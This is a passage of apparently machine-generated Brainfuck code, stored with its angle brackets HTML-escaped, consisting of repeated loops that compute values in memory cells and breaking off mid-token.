;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;+&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++++[-&amp;lt;++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++[-&amp;lt;+++++++++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]+++++[-&amp;lt;+++++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++[-&amp;lt;+++++++++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++++[-&amp;lt;++++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;++++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++++[-&amp;lt;++++++&amp;gt;]&amp;lt;+&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++[-&amp;lt;+++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++++[-&amp;lt;++++++&amp;gt;]&amp;lt;++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++[-&amp;lt;+++++++++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++++[-&amp;lt;++++++&amp;gt;]&amp;lt;+++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++[-&amp;lt;++++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++[-&amp;lt;+++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++[-&amp;lt;+++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;&amp;gt;[-]&amp;gt;&amp;lt;&amp;gt;[-]&amp;lt;&amp;lt;[-]&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;+&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;&amp;gt